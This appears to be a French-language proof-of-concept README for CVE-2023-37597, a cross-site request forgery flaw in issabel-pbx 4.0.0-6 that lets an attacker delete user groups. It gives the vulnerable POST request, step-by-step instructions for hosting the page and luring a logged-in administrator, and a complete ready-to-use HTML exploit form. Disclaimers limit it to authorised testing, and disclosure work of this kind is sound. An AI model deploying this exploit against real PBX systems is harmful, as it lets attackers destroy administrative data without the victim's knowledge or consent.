
Issabel-pbx v 4.0.0-6 contient une vulnérabilité de Cross-Site Request Forgery (CSRF) dans sa fonctionnalité de gestion des groupes d'utilisateurs.
Avertissement : Ce dépôt est destiné uniquement à des fins éducatives et de recherche en sécurité autorisée. N'utilisez pas cet exploit contre un système que vous ne possédez pas ou pour lequel vous ne disposez pas d'une autorisation écrite explicite de test.
issabel-pbx est une plateforme de communications unifiées (PBX) open source largement utilisée qui fournit des services VoIP, une gestion téléphonique et une administration web. La version 4.0.0-6 d'issabel-pbx contient une vulnérabilité de Cross-Site Request Forgery (CSRF) dans sa fonctionnalité de gestion des groupes d'utilisateurs.
Un attaquant distant non authentifié peut créer une page HTML malveillante qui, lorsqu'elle est consultée par un administrateur authentifié, émet silencieusement une requête HTTP POST falsifiée pour supprimer n'importe quel groupe d'utilisateurs. Comme l'application ne valide pas l'origine des requêtes modifiant l'état à l'aide de jetons CSRF ou de politiques de cookies SameSite, le navigateur inclut automatiquement le cookie de session de l'administrateur, ce qui permet à la suppression de réussir sans que la victime en ait connaissance ou y consente.
| Champ | Valeur |
|---|---|
| Identifiant CVE | CVE-2023-37597 |
| Vulnérabilité | Cross-Site Request Forgery (CSRF) |
| CWE | CWE-352 — Cross-Site Request Forgery (CSRF) |
| Sévérité | Moyenne |
| Vecteur CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H |
| Version affectée | issabel-pbx 4.0.0-6 |
| Date de divulgation | 10 juillet 2023 |
| Chercheur | Sahil Ojha |
| Champ | Valeur |
|---|---|
| Nom du produit | issabel-pbx |
| Version | 4.0.0-6 |
| Éditeur | Issabel Foundation |
| Page d'accueil de l'éditeur | https://www.issabel.org/ |
| Code source | https://github.com/IssabelFoundation/issabelPBX |
| Testé sur | Windows (Burp Suite Community Edition) |
Le Cross-Site Request Forgery (CSRF) est une attaque qui amène le navigateur d'une victime à envoyer une requête authentifiée à une application cible au nom de l'attaquant. L'attaque réussit lorsque :
Origin/Referer, aucun attribut de cookie SameSite=Strict ou SameSite=Lax).Le point de terminaison de suppression de groupe d'utilisateurs (/index.php?menu=grouplist) dans issabel-pbx 4.0.0-6 traite les requêtes HTTP POST qui contiennent uniquement l'action delete et un paramètre id_user. L'application ne fait pas ce qui suit :
Origin ou Referer.SameSite sur les cookies de session.Par conséquent, toute page web chargée dans le navigateur de la victime peut soumettre silencieusement le formulaire de suppression en utilisant la session existante de la victime, car le navigateur joindra automatiquement le cookie de session.
POST /index.php?menu=grouplist HTTP/1.1
Host: <Issabel IP>
delete=Delete&id_user=<USER_GROUP_ID>
Avertissement : Le PoC suivant est fourni strictement à des fins éducatives. Utilisez-le uniquement dans des environnements de laboratoire ou sur des systèmes pour lesquels vous disposez d'une autorisation explicite.
Étape 1 — Connexion au panneau d'administration Issabel
Accédez à la page de la liste des groupes d'utilisateurs et connectez-vous avec des identifiants d'administrateur.
https://{Issabel IP}/index.php?menu=grouplist&action=view&id=11

Étape 2 — Capture de la requête de suppression
Tentez de supprimer un groupe d'utilisateurs en faisant transiter le trafic par Burp Suite. Cliquez avec le bouton droit sur la requête POST capturée et sélectionnez Engagement Tools → Generate CSRF PoC pour générer le squelette HTML de l'exploit.

Étape 3 — Hébergement de la page d'exploit CSRF
Enregistrez le HTML généré dans un fichier (voir Code de l'exploit PoC ci-dessous). Hébergez-le sur un serveur contrôlé par l'attaquant, ou envoyez-le directement à la victime.
Étape 4 — La victime ouvre la page d'exploit
Lorsque l'administrateur authentifié ouvre l'URL de l'exploit ou y est redirigé, le formulaire masqué est soumis automatiquement (ou la victime clique sur le bouton leurre). Le groupe d'utilisateurs ciblé est supprimé du panneau d'administration.


Le fichier HTML suivant (également disponible sous le nom CSRF exploit.html) démontre l'attaque. Remplacez {Issabel IP} par l'hôte cible et ajustez id_user pour qu'il corresponde à l'identifiant du groupe que vous souhaitez supprimer.
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://{Issabel IP}/index.php?menu=grouplist" method="POST">
<input type="hidden" name="delete" value="Delete" />
<input type="hidden" name="id_user" value="7" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>